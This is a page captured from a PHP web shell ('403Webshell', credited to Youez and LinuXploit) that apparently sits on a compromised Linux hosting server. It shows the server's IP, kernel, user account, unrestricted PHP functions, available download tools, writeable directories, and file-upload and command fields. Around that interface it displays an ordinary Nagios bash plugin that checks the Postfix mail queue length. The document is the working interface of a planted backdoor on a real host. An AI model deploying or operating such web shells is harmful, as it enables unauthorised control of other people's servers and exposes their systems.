403Webshell
Server IP : 172.67.157.124  /  Your IP : 216.73.216.213
Web Server : LiteSpeed
System : Linux s12482.usc1.stableserver.net 5.14.0-570.32.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Aug 6 11:30:41 EDT 2025 x86_64
User : snownico ( 1231)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/check_postfix_queue
#!/bin/bash
#
# 19-07-2010
# Author: Cherwin Nooitmeer <[email protected]>
#

# exit codes
e_ok=0
e_warning=1
e_critical=2
e_unknown=3

# regular expression that matches queue IDs (e.g. D71EF7AC80F8)
queue_id='^[A-F0-9][A-F0-9][A-F0-9][A-F0-9][A-F0-9][A-F0-9][A-F0-9][A-F0-9][A-F0-9][A-F0-9]'

usage="Invalid command line usage"

if [ -z $1 ]; then
    echo $usage
    exit $e_unknown
fi

while getopts ":w:c:" options
do
    case $options in
        w ) warning=$OPTARG ;;
        c ) critical=$OPTARG ;;
        * ) echo $usage
            exit $e_unknown ;;
    esac
done

# determine queue size
qsize=$(sudo /usr/bin/mailq | egrep -c $queue_id)
if [ -z $qsize ]
then
    exit $e_unknown
fi

if [ $qsize -ge $critical ]; then
    retval=$e_critical
elif [ $qsize -ge $warning ]; then
    retval=$e_warning
elif [ $qsize -lt $warning ]; then
    retval=$e_ok
fi

echo "$qsize mail(s) in queue | mail_queue=$qsize"
exit $retval


Youez - 2016 - github.com/yon3zu
LinuXploit